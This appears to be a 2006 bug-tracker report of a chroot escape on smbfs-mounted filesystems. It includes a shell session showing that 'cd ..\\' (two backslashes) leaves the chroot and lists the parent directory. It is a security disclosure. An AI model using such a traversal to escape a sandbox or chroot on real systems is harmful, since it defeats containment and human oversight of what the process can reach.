Description Marcel Holtmann 2006-04-19 18:51:47 EDT
When doing a chroot inside of a smb-mounted filesystem (smbfs), it appears that
you can break out of it using "cd ..\\" (2 backslashes).

[root@server me]# pwd
[root@server me]# ls
bin  chroot  etc  lib
[root@server me]# chroot .
bash-2.05a# pwd
bash-2.05a# ls
bin  chroot  etc  lib
bash-2.05a# cd ..\\
bash-2.05a# pwd
bash-2.05a# ls
<list of files from parent>
